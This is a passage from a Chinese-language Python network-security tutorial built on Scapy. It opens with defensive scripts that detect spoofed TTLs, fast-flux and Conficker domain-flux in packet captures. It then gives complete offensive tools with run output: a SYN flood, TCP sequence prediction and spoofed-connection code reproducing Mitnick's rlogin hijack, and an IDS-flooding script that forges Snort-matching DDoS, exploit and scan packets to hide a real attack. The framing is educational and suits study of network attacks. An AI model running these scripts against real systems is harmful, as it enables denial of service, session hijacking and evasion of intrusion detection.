運行我們的代碼，我們看到我們已經從不同的地址收到幾個帶有不同的TTL的數據包。這些結果也包括來自`8.8.8.8`的TTL為13的誘餌掃描。我們知道TTL應該是64-13=51跳，我們可以認為有人偽造數據包。應該注意一點，LInux/Unix系統上通常初始TTL值為64，而Windows系統初始TTL值為128。為了我們腳本的目的，我們假設我們只解析來自Linux掃描的數據包，所以讓我們增加一個函數來檢查實際接受的TTL。
```
analyst# python printTTL.py
[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13
[+] Pkt Received From: 8.8.8.8 with TTL: 13
[+] Pkt Received From: 192.168.1.7 with TTL: 64
[+] Pkt Received From: 173.255.226.98 with TTL: 52
[+] Pkt Received From: 8.8.8.8 with TTL: 13
```
我們的函數`checkTTL()`需要一個IP源地址和對應的TTL值作為輸入并輸出TTL是否有效的信息。首先，讓我們用一個條件與語句快速的消除死人IP地址的數據包(`10.0.0.0–10.255.255.255`, `172.16.0.0–172.31.255.255`, 和`192.168.0.0–192.168.255.255`)。
為此，我們導入IPy庫，為了避免和`Scapy`的IP類沖突，我們把它作為IPTEST，如果`IPTEST(ipsrc).iptype()`返回`'PRIVATE'`，我們變忽略檢查這個數據包。
我們從相同的源地址收到了不少的獨特的數據包，我們只需要檢查源地址一次。如果先前我們沒看到源地址，讓我們構建一個目的地址與源地址相同的IP數據包。此外，我們將制作一個ICMP數據包與目的地址向回應。一旦目標地址回應，我們將TTL值放在字典中，通過IP源地址索引，我們再來檢查實際收到的TTL值和原始數據包里面的TTL值。數據包可能會走不同的路線來到達目的地，造成TTL不同，然而，如果跳數的距離相差五跳，我們可以假定，它可能是一個欺騙性的TTL，并打印警告信息在屏幕上。
```
from IPy import IP as IPTEST
ttlValues = {}
THRESH = 5
def checkTTL(ipsrc, ttl):
if IPTEST(ipsrc).iptype() == 'PRIVATE':
return
if not ttlValues.has_key(ipsrc):
pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0)
ttlValues[ipsrc] = pkt.ttl
if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
print('\n[!] Detected Possible Spoofed Packet From: ' + ipsrc)
print('[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc]))
```
我們添加一些選項解析來指定要監聽的地址，然后通過一個選項來設定閥值來產生最終的代碼。少于50行的代碼，我們擁有是數十年前Moore為五角大樓困境的解決方案。
```
# coding=UTF-8
import time
import optparse
from scapy.all import *
from IPy import IP as IPTEST
ttlValues = {}
THRESH = 5
def checkTTL(ipsrc, ttl):
if IPTEST(ipsrc).iptype() == 'PRIVATE':
return
if not ttlValues.has_key(ipsrc):
pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0)
ttlValues[ipsrc] = pkt.ttl
if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
print('\n[!] Detected Possible Spoofed Packet From: ' + ipsrc)
print('[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc]))
def testTTL(pkt):
try:
if pkt.haslayer(IP):
ipsrc = pkt.getlayer(IP).src
ttl = str(pkt.ttl)
print('[+] Pkt Received From: '+ipsrc+' with TTL: ' + ttl)
except:
pass
def main():
parser = optparse.OptionParser("usage%prog -i<interface> -t <thresh>")
parser.add_option('-i', dest='iface', type='string', help='specify network interface')
parser.add_option('-t', dest='thresh', type='int', help='specify threshold count ')
(options, args) = parser.parse_args()
if options.iface == None:
conf.iface = 'eth0'
else:
conf.iface = options.iface
if options.thresh != None:
THRESH = options.thresh
else:
THRESH = 5
sniff(prn=testTTL, store=0)
if __name__ == '__main__':
main()
```
運行我們的代碼，我們可以看到它正確的識別了誘餌Nmap掃描，來自`8.8.8.8`的掃描。需要注意的是，我們的值產生于一個默認的Linux初始TTL值64，盡管RFC 1700推薦的默認TTL值是64，但是Windows系統還是將128作為TTL的默認初始值。此外，其他一些Unix變種的系統有著不同的TTL值。現在我們假定產生數據包的系統為Linux。
```
analyst# python spoofDetect.py –i eth0 –t 5
[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53
[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53
[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53
[!] Detected Possible Spoofed Packet From: 8.8.8.8
[!] TTL: 13, Actual TTL: 53
<..SNIPPED..>
```
## Storm的FAST流量和Conficker的Domain流量
2007年，安全研究人員確認一種新技術，曾被臭名昭著的Storm僵尸網絡使用。這種技術稱為Fast流量，利用DNS記錄隱藏命令從而控制Storm僵尸網絡。DNS服務是通常是轉換域名到IP地址的。當DNS服務返回一個結果時，他還指定了TTL，在主機檢查之前任然有效。
Storm僵尸網絡的攻擊者為了命令和控制服務器而頻繁的改變DNS記錄。事實上，他們使用的2000多個主機散步在50個國家384個供應商。為了命令和控制主機，攻擊者頻繁的替換IP地址，確保DNS返回很短的TTL結果。IP地址的Fast流量令安全人員很難確認被命令和控制的僵尸網絡，更難讓服務器脫機。
Fast很難從Storm僵尸網絡卸載下來，類似的技術次年用于輔助感染了兩百多個國家的7百多萬電腦。Conficker蠕蟲是目前為止最成功的計算機蠕蟲，通過攻擊Windows的SMB協議漏洞來傳播。一旦被感染，脆弱的主機連接到一個命名和控制服務器等待進一步指示。確認和阻止和命令控制主機通訊對于停止攻擊是完全有必要的。然而，Conficker蠕蟲使用當前的UTC時間和日期每三個小時就產生不同的域名。對Conficker迭代意味著每三個小時將產生50000個域。攻擊者只需要注冊極少的域名到真是的IP就可以命令和控制服務器。這使得攔截和阻止命令和控制服務器的流量很困難。因此技術人員將它命名為Domain流量。
在下面的章節中，我們將編寫一些Python腳本來檢測識別外界的Fast流量和Domain流量攻擊。
你的NDS知道一些你不知道的事嗎？
為了確認外界的Fast流量和Domain流量，讓我們快速審查一下DNS，通過查看域名請求時產生的流量。為了明白這些，讓我們執行域名查詢操作。注意，我們的域名服務器在`192.168.1.1`，翻譯域名到`74.117.114.119`的IP地址。
```
analyst# nslookup whitehouse.com
Server: 192.168.1.1
Address: 192.168.1.1#53
Non-authoritative answer:
Name: whitehouse.com
Address: 74.117.114.119
```
用`tcpdump`檢查NDS流量，我們可以看到客戶端`192.168.13.37`發送了一個DNS請求給`192.168.1.1`。特別是客戶端生成了DNS快速記錄(DNSQR)請求Ipv4地址，服務器響應增加DNS資源記錄(DNSRR)并提供IP地址。
```
analyst# tcpdump -i eth0 –nn 'udp port 53'
07:45:46.529978 IP 192.168.13.37.52120 >192.168.1.1.53: 63962+ A?
whitehouse.com. (32)
07:45:46.533817 IP 192.168.1.1.53>192.168.13.37.52120: 63962 1/0/0 A
74.117.114.119 (48)
```
# 使用Scapy解析DNS流量
當我們用`Scapy`研究DNS協議請求，我們可以看到包含在每一個A記錄的DNSQR包含了請求名(`qname`)，請求類型(`qtype`)和請求類(`qclass`)。為了上述要求，我們要請求域名的Ipv4地址，讓`qname`字段等于域名。DNS服務響應通過添加DNSRR包含資源名稱(`rrname`)，類型(`type`)，資源記錄類(`rclass`)和TTL。知道Fast流量和Domain流量是怎么工作的，我們現在可以使用`Scapy`編寫Python腳本分析可確認可以的DNS流量。
```
analyst# scapy
Welcome to Scapy (2.0.1)
>>>ls(DNSQR)
qname : DNSStrField = (‘’)
qtype : ShortEnumField = (1)
qclass : ShortEnumField = (1)
>>>ls(DNSRR)
rrname : DNSStrField = (‘’)
type : ShortEnumField = (1)
rclass : ShortEnumField = (1)
ttl : IntField = (0)
rdlen : RDLenField = (None)
rdata : RDataField = (‘’)
```
歐洲網絡與信息安全機構通過了一個分析網絡流量極好的資源。他們提供了一個光盤ISO鏡像，包含了一些網絡捕獲和練習。你可以從下面網站下載： http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvd-iso-images 。練習7提供了一個練習Fast流量行為的例子的PCAP。此外你可能希望被間諜軟件或者惡意軟件感染的虛擬機在活動前在受控的實驗環境安全檢查流量。為了我們的目的，讓我們假設你現在有一個捕獲的網絡流量包`fastFlux.pcap`包含了一些你想要分析的NDS流量。
## 用Scapy檢測Fast流量
讓我們編寫Python腳本閱讀pcap并分析所有的包含DNSRR的數據包。`Scapy`功能強大，`haslayer()`函數將協議類型作為輸入，并返回一個布爾值。如果數據包包含一個DNSRR，我們將抽取包含適當域名和IP地址的`rname`和`rdata`變量。我們可以檢查我們維護的域名字典，通過域名索引。如果是我之前見過的域名，我們將看看它是否與先前的IP地址相關聯。如果它有一個不同以前的IP地址，我們將增加到我們維護的字典。相反，如果我們發現了一個新域名，我們添加它到我們的字典。我們添加這個域名的IP地址作為存儲我們字典值的數組的第一個元素。
這看起來有些復雜，但是我們想能夠存儲所有的域名和他們關聯的不同的IP地址。為了檢測Fast流量，我們需要知道那個域名有多個IP地址。在研究所有的數據包之后，我們打印所有的域名和每個域名的多個IP地址。
```
from scapy.all import *
dnsRecords = {}
def handlePkt(pkt):
if pkt.haslayer(DNSRR):
rrname = pkt.getlayer(DNSRR).rrname
rdata = pkt.getlayer(DNSRR).rdata
if dnsRecords.has_key(rrname):
if rdata not in dnsRecords[rrname]:
dnsRecords[rrname].append(rdata)
else:
dnsRecords[rrname] = []
dnsRecords[rrname].append(rdata)
def main():
pkts = rdpcap('fastFlux.pcap')
for pkt in pkts:
handlePkt(pkt)
for item in dnsRecords:
print('[+] '+item+' has '+str(len(dnsRecords[item])) + ' unique IPs.')
if __name__ == '__main__':
main()
```
運行我們的代碼，我們可以看到至少有四個域名與多個IP相對應。所有的死四個域名在過去實際上被Fast流量所利用。
```
analyst# python testFastFlux.py
[+] ibank-halifax.com. has 100,379 unique IPs.
[+] armsummer.com. has 14,233 unique IPs.
[+] boardhour.com. has 11,900 unique IPs.
[+] swimhad.com. has 11, 719 unique IPs.
```
## 用Scapy檢測Domain流量
接下來，我們開始分析被Conficker蠕蟲感染的機器。你可以感染你自己的機器或者下載一些捕獲的樣本。許多第三方網站包含不同的Conficker捕獲。由于Conficker蠕蟲利用Domain流量，我們需要查看服務器包含未知域名的錯誤信息的響應。不同版本的Conficker蠕蟲生成幾種DNS。因為幾個域名是偽造的，為了掩蓋真實的命令控制服務器。大多數DNS服務器缺乏將域名轉換成真實的地址并替代生成的錯誤的信息的能力。讓我們通過確認所有的包含name-error信息的DNS響應來確認Domain流量。為了得到完整的Conficker蠕蟲使用過的域名列表，我們可以在 http://www.cert.at/downloads/data/conficker_en.html 找到。
```
from scapy.all import *
def dnsQRTest(pkt):
if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
rcode = pkt.getlayer(DNS).rcode
qname = pkt.getlayer(DNSQR).qname
if rcode == 3:
print('[!] Name request lookup failed: ' + qname)
return True
else:
return False
def main():
unAnsReqs = 0
pkts = rdpcap('domainFlux.pcap')
for pkt in pkts:
if dnsQRTest(pkt):
unAnsReqs = unAnsReqs + 1
print('[!] '+str(unAnsReqs)+' Total Unanswered Name Requests')
if __name__ == '__main__':
main()
```
注意當我們運行腳本時，我們可以看到一些用于Conficker蠕蟲Domain流量的實際域名。成功！我們可以確認攻擊。在下一節里讓我們用我們的分析技能重新審視一下發生在15年前的復雜的攻擊。
```
analyst# python testDomainFlux.py
[!] Name request lookup failed: tkggvtqvj.org.
[!] Name request lookup failed: yqdqyntx.com.
[!] Name request lookup failed: uvcaylkgdpg.biz.
[!] Name request lookup failed: vzcocljtfi.biz.
[!] Name request lookup failed: wojpnhwk.cc.
[!] Name request lookup failed: plrjgcjzf.net.
[!] Name request lookup failed: qegiche.ws.
[!] Name request lookup failed: ylktrupygmp.cc.
[!] Name request lookup failed: ovdbkbanqw.com.
<..SNIPPED..>
[!] 250 Total Unanswered Name Requests
```
## 凱文米特尼克和TCP序列預測
1996年2月16日結束了一個臭名昭著的黑客的統治。其瘋狂的犯罪行為包含盜取價值數百萬美元的商業機密。15年來，凱文米特尼克獲得未授權訪問計算機，竊取私人信息，試圖抓他的人都厭倦了，但是最后一個針對他的小組抓到了他。
Tsutomu Shimomura，一個計算物理理學家，幫助逮捕了米特尼克。在1992的手機安全聽證會后，米特尼克便成為了他的目標。1994年12月，有人闖入了他家的電腦系統。相信這次攻擊是米特尼克并被他的新的攻擊方法所著迷，他本來領導的LED團隊在第二年開始追蹤米特尼克。
他好奇攻擊向量是什么，以前從沒見到過，米特尼克用了一個方法劫持了TCP會話。這種技術被稱為TCP序列預測，攻擊缺乏隨機性的序列號跟蹤單個網絡連接。這個技術接合IP地址欺騙，允許米特尼克劫持他家電腦的一個連接。在下面的章節中，我們將重現并編寫米特尼克曾經使用過的TCP序列預測的工具和攻擊。
## 你自己的TCP序列預測
米特尼克攻擊過的機器有一個可靠的遠程連接服務協議。這個遠程服務能訪問米特尼克的受害者，通過運行在TCP 513端口上的遠程登陸協議(rlogin)。而不是使用公鑰協商或者是密碼方式，rlogin使用了一個不安全的認證方法---檢查源IP地址。因此，為了攻擊Shimomura的電腦米特尼克必須1.找到一個可信的服務器；2.沉默的可信服務器；3.欺騙來自服務器的連接；4.盲目的欺騙正確的TCP三次握手包的ACK包。聽起來比實際上更難，1994年1月25日，Shimomura發布了這次攻擊的詳細描述在新聞博客上。通過看他發布的技術細節分析這次攻擊，我們將編寫一個Python腳本來執行類似的攻擊。
在米特尼克確認了Shimomura的私人電腦上有一個可靠的遠程服務，他需要那個機器沉默。如果機器注意到嘗試使用他的IP地址欺騙連接，機器將會發送重置數據包關閉連接。為了讓機器沉默，米特尼克發送了一類咧的TCP SYN包到服務器的登陸端口。被稱為SYN洪水攻擊，這個攻擊充滿了服務器的連接序列并保持它的響應。從Shimomura發布的細節來看，我們看到一系列的TCP SYN包發送到目標主機的登陸端口。
```
14:18:22.516699 130.92.6.97.600 > server.login: S
1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601 > server.login: S
1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602 > server.login: S
1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603 > server.login: S
1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604 > server.login: S
1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605 > server.login: S
1382726965:1382726965(0) win 4096
<..SNIPPED..?
```
## 用Scapy制作SYN洪水
用`Scapy`簡單的復制一個TCP SYN洪水攻擊，我們將制作一些IP數據包，有遞增的TCP源端口和不斷的TCP 513目標端口。
```
from scapy.all import *
def synFlood(src, tgt):
for sport in range(1024, 65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)
src = "10.1.1.2"
tgt = "192.168.1.3"
synFlood(src, tgt)
```
運行攻擊發送TCP SYN數據包耗盡目標主機資源，填滿它的連接隊列，基本癱瘓目標發送TCP 重置包的能力。
```
mitnick# python synFlood.py
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
<..SNIPPED..>
```
## 計算TCP序列號
現在攻擊變得有一些有趣了。隨著遠程服務器的沉默，米特尼克可以欺騙目標的TCP連接。然而，這取決于他發送偽造的SYN的能力，Shimomura機器TCP連接后的一個TCP ACK數據包。為了完成連接，米特尼克需要需要正確的猜到TCP ACK的序列號，因為他無法觀察到他，并返回一個正確的猜測的TCP ACK序列號。為了正確計算TCP序列號，米特尼克從名為`apollo.it.luc.edu`的大學機器發送了一系列的SYN數據包，收到SYN之后，Shimomura的機器的終端響應了一個帶序列號的TCP ACK數據包注意下面隱藏技術細節的序列號：`2022080000, 2022208000, 2022336000, 2022464000`。每個增量相差128000，這讓計算正確的TCP序列號更加容易。( 注意，大多數現代的操作系統今天提供更強大的隨機TCP序列號。)
```
14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S
1382726992:1382726992(0) win 4096
14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S
2022080000:2022080000(0) ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R
1382726993:1382726993(0) win 0
14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S
1382726993:1382726993(0) win 4096
14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S
2022208000:2022208000(0) ack 1382726994 win 4096
14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R
1382726994:1382726994(0) win 0
14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S
1382726994:1382726994(0) win 4096
14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S
2022336000:2022336000(0) ack 1382726995 win 4096
14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R
1382726995:1382726995(0) win 0
14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S
1382726995:1382726995(0) win 4096
14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S
2022464000:2022464000(0) ack 1382726996 win 4096
14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R
1382726996:1382726996(0) win 0
<..SNIPPED..>
```
為了在Python中重現，我們將發送TCP SYN數據包并等待TCP SYN-ACK數據包。一旦收到，我們將從ACK中剝離TCP序列號并打印到屏幕上。我們進重復4次確認一個規律的存在。注意，使用`Scapy`，我們不需要完整的TCP和IP字段：`Scapy`將用值填充他們。此外，它將從我們默認的源地址發送。我們的新函數`callSYN()`將會接受一個IP地址返回寫一個ACK序列號(當前的序列號加上變化)。
```
from scapy.all import *
def calTSN(tgt):
seqNum = 0
preNum = 0
diffSeq = 0
for x in range(1, 5):
if preNum != 0:
preNum = seqNum
pkt = IP(dst=tgt) / TCP()
ans = sr1(pkt, verbose=0)
seqNum = ans.getlayer(TCP).seq
diffSeq = seqNum - preNum
print '[+] TCP Seq Difference: ' + str(diffSeq)
return seqNum + diffSeq
tgt = "192.168.1.106"
seqNum = calTSN(tgt)
print "[+] Next TCP Sequence Number to ACK is: "+str(seqNum+1)
```
運行我們的代碼攻擊一個脆弱的目標，我們可以看到TCP系列號的隨機性是不存在的，目標和Shimomura的機器有相同的序列號差值。注意，默認情況下，`Scapy`會使用默認的目標TCP端口80。目標必須有一個服務正在監聽，不管你嘗試欺騙連接那個端口。
```
mitnick# python calculateTSN.py
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] Next TCP Sequence Number to ACK is: 2024371201
```
## 欺騙TCP連接
有了正確的TCP序列號在手，米特尼克可以攻擊了。米特尼克使用的序列號是`2024371200`，大約初始化SYN后的150個SYN數據包發送過去用來偵查。首先，它從新的沉默服務器欺騙了一個連接。然后他發送了一個序列號是`2024371201`盲目的ACK數據包，表明已經建立了正確的連接。
```
14:18:36.245045 server.login > x-terminal.shell: S
1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: .ack2024384001 win
4096
```
在Python中重現這些，我們將生成和發送兩個數據包。首先我們創建一個TCP源端口是513和目的端口是514的源IP地址是欺騙的服務器目的IP地址是目標IP地址的SYN數據包，接下來，我們創建一個相同的ACK數據包，增加計算的序列號作為額外的字段，并發送它。
```
from scapy.all import *
def spoofConn(src, tgt, ack):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514)
synPkt = IPlayer / TCPlayer
send(synPkt)
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514, ack=ack)
ackPkt = IPlayer / TCPlayer
send(ackPkt)
src = "10.1.1.2"
tgt = "192.168.1.106"
seqNum = 2024371201
spoofConn(src,tgt,seqNum)
```
將全部代碼整合在一起，我們將增加一些命令行選項解析來指定要欺騙連接的地址，目標服務器，和欺騙地址的初始化SYN洪水攻擊。
```
# coding=UTF-8
import optparse
from scapy.all import *
#SYN洪水攻擊
def synFlood(src, tgt):
for sport in range(1024, 65535):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=sport, dport=513)
pkt = IPlayer / TCPlayer
send(pkt)
#預測TCP序列號
def calTSN(tgt):
seqNum = 0
preNum = 0
diffSeq = 0
for x in range(1, 5):
if preNum != 0:
preNum = seqNum
pkt = IP(dst=tgt) / TCP()
ans = sr1(pkt, verbose=0)
seqNum = ans.getlayer(TCP).seq
diffSeq = seqNum - preNum
print '[+] TCP Seq Difference: ' + str(diffSeq)
return seqNum + diffSeq
#發送ACk欺騙包
def spoofConn(src, tgt, ack):
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514)
synPkt = IPlayer / TCPlayer
send(synPkt)
IPlayer = IP(src=src, dst=tgt)
TCPlayer = TCP(sport=513, dport=514, ack=ack)
ackPkt = IPlayer / TCPlayer
send(ackPkt)
def main():
parser = optparse.OptionParser('usage%prog -s<src for SYN Flood> -S <src for spoofed connection> -t<target address>')
parser.add_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood')
parser.add_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection')
parser.add_option('-t', dest='tgt', type='string', help='specify target address')
(options, args) = parser.parse_args()
if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
print(parser.usage)
exit(0)
else:
synSpoof = options.synSpoof
srcSpoof = options.srcSpoof
tgt = options.tgt
print('[+] Starting SYN Flood to suppress remote server.')
synFlood(synSpoof, srcSpoof)
print('[+] Calculating correct TCP Sequence Number.')
seqNum = calTSN(tgt) + 1
print('[+] Spoofing Connection.')
spoofConn(srcSpoof, tgt, seqNum)
print('[+] Done.')
if __name__ == '__main__':
main()
```
運行我們最終的腳本，我們成功復制了米特尼克20年前的攻擊。一度被認為是史上最復雜的攻擊現在被我們用幾十行Python代碼重現。現在手上有了較強的分析技能，讓我們用到下一節描述的方法，一個針對入侵檢測系統的復雜網絡攻擊的分析。
```
mitnick# python tcpHijack.py -s 10.1.1.2 -S 192.168.1.2 -t 192.168.1.106
[+] Starting SYN Flood to suppress remote server.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
<..SNIPPED..>
[+] Calculating correct TCP Sequence Number.
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] TCP Seq Difference: 128000
[+] Spoofing Connection.
.
Sent 1 packets.
.
Sent 1 packets.
[+] Done.
```
## 用Scapy挫敗入侵檢測系統
入侵檢測系統(IDS)是主管分析師手中一個非常有價值的工具。一個基于網絡的入侵檢測系統(NIDS)可以通過記錄IP網絡數據包實時分析流量。通過匹配已知惡意標記的數據包，IDS可以在攻擊成功之前提醒網絡分析師。比如說，Snort入侵檢測系統通過預先包裝各種不同的規則來檢測不同類型的偵查，攻擊，拒絕服務等其他不同的攻擊向量。審查其中一個配置的內容，我們看到四個報警檢測TFN，tfn2k和Trin00分布式拒絕服務的攻擊工具。當攻擊者使用TFN, tfn2k 或者Trin00工具攻擊目標，IDS檢測到攻擊然后警告分析師。然而，當分析師接受比他們能分辨事件還要多的警告時他該怎么辦？他們往往不知所措，可能會錯過重要的攻擊細節。
```
victim# cat /etc/snort/rules/ddos.rules
<..SNIPPED..>
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS TFN Probe";
icmp_id:678; itype:8; content:"1234"; reference:arachnids,443;
classtype:attempted-recon; sid:221; rev:4;)
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS tfn2k icmp
possible communication"; icmp_id:0; itype:0; content:"AAAAAAAAAA";
reference:arachnids,425; classtype:attempted-dos; sid:222; rev:2;)
alert udp $EXTERNAL_NET any -> $HOME_NET 31335 (msg:"DDOS Trin00
Daemon to Master PONG message detected"; content:"PONG";
reference:arachnids,187; classtype:attempted-recon; sid:223; rev:3;)
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"DDOS
TFN client command BE"; icmp_id:456; icmp_seq:0; itype:0;
reference:arachnids,184; classtype:attempted-dos; sid:228; rev:3;)
<...SNIPPED...>
```
為了對分析師隱藏一個合法的攻擊，我們將編寫一個工具生成大量的警告讓分析師去處理。此外，分析師能夠使用這個工具來驗證一個IDS能正確的識別惡意流量。編寫這個腳本并不難，我們已經有了生成警告的規則。為此，我們將再次使用`Scapy`制作數據包。考慮到DDos TFN的第一條規則，我們必須生成一個ICMP數據包，ICMP ID是678，ICMP 類型是8包含原始內容`'1234'`的數據包。使用`Scapy`，我們用這些變量制作數據包并發送他們到我們的目的地址。此外，我們建立其他三個規則的數據包。
```
from scapy.all import *
def ddosTest(src, dst, iface, count):
pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)
send(pkt, iface=iface, count=count)
src="1.3.3.7"
dst="192.168.1.106"
iface="eth0"
count=1
ddosTest(src,dst,iface,count)
```
運行該腳本，我們看到，四個數據包發送到了目的地址。IDS將會分析這些數據包并生成警告，如果他們匹配正確的話。
```
attacker# python idsFoil.py
Sent 1 packets.
.Sent 1 packets.
Sent 1 packets.
Sent 1 packets.
```
檢查Snort的警告日志，我們發現我們成功了！所有四個數據包生成的警告全部IDS系統中。
```
victim# snort -q -A console -i eth0 -c /etc/snort/snort.conf
03/14-07:32:52.034213 [**] [1:221:4] DDOS TFN Probe [**]
[Classification: Attempted Information Leak] [Priority: 2] {ICMP}
1.3.3.7 -> 192.168.1.106
03/14-07:32:52.037921 [**] [1:222:2] DDOS tfn2k icmp possible
communication [**] [Classification: Attempted Denial of Service]
[Priority: 2] {ICMP} 1.3.3.7 -> 192.168.1.106
03/14-07:32:52.042364 [**] [1:223:3] DDOS Trin00 Daemon to Master PONG
message detected [**] [Classification: Attempted Information Leak]
[Priority: 2] {UDP} 1.3.3.7:53 -> 192.168.1.106:31335
03/14-07:32:52.044445 [**] [1:228:3] DDOS TFN client command BE [**]
[Classification: Attempted
```
讓我們看看稍微復雜的規則，Snort下的`exploit.rules`簽名文件。在這里，一系列的特殊字節將會為ntalkd x86 Linux溢出和Linux mountd溢出生成警告。
```
alert udp $EXTERNAL_NET any -> $HOME_NET 518 (msg:"EXPLOIT ntalkd x86
Linux overflow"; content:"|01 03 00 00 00 00 00 01 00 02 02 E8|";
reference:bugtraq,210; classtype:attempted-admin; sid:313;
rev:4;)
alert udp $EXTERNAL_NET any -> $HOME_NET 635 (msg:"EXPLOIT x86 Linux
mountd overflow"; content:"^|B0 02 89 06 FE C8 89|F|04 B0 06 89|F";
reference:bugtraq,121; reference:cve,1999-0002; classtype
:attempted-admin; sid:315; rev:6;)
```
為了生成包含原始字節的數據包，我們將利用`\x`后面跟隨16進制字符來編碼字節。在第一個警報，會生成一個數據包將會被 ntalkd Linux溢出簽名所檢測到。第二個數據包，我們將接合16進制編碼和標準的ASCII字符。注意`98|F|`編碼為`\x89`標示包含了原始的字節加了一個ASCII字符。下面的數據包將在試圖攻擊時生成報警。
```
def exploitTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")
send(pkt, iface=iface, count=count)
pkt = IP(src=src, dst=dst) / UDP(dport=635) /Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")
send(pkt, iface=iface, count=count)
```
最后，它會很好的欺騙一些偵查和掃描。當我們檢查Snort的掃描規則時發現兩個我們可以制作數據包的規則。兩個規則通過特定的端口和特定原始內容的UDP協議檢測惡意行為。很容易制作這種數據包。
```
alert udp $EXTERNAL_NET any -> $HOME_NET 7 (msg:"SCAN cybercop udp
bomb"; content:"cybercop"; reference:arachnids,363; classtype:bad-
unknown; sid:636; rev:1;)
alert udp $EXTERNAL_NET any -> $HOME_NET 10080:10081 (msg:"SCAN Amanda
client version request"; content:"Amanda"; nocase; classtype:attempted-
recon; sid:634; rev:2;)
```
我們生成兩個對應規則的掃描工具的數據包。當生成兩個合適的UDP數據包之后我們發送到目標主機。
```
def scanTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=7) /Raw(load='cybercop')
send(pkt)
pkt = IP(src=src, dst=dst) / UDP(dport=10080) /Raw(load='Amanda')
send(pkt, iface=iface, count=count)
```
現在，我們有數據包可以生成拒絕服務攻擊，滲透攻擊和掃描偵查的警告。我們把代碼組合在一起，添加一些選項解析。注意，用戶必須輸入目標地址否則程序會退出。如果用戶沒有輸入源地址，我們會生成一個隨機的源地址。如果用戶不能指定發送制作的數據包多少次，我們將只發送一次。該腳本使用缺省的網卡eth0，除非用戶指定。雖然我們的目的文本很短，你可以繼續添加腳本生成測試其他攻擊類型的警告。
```
# coding=UTF-8
import optparse
from scapy.all import *
from random import randint
def ddosTest(src, dst, iface, count):
pkt=IP(src=src,dst=dst)/ICMP(type=8,id=678)/Raw(load='1234')
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0)/Raw(load='AAAAAAAAAA')
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/UDP(dport=31335)/Raw(load='PONG')
send(pkt, iface=iface, count=count)
pkt = IP(src=src,dst=dst)/ICMP(type=0,id=456)
send(pkt, iface=iface, count=count)
def exploitTest(src, dst, iface, count):
pkt = IP(src=src, dst=dst) / UDP(dport=518) /Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")
send(pkt, iface=iface, count=count)
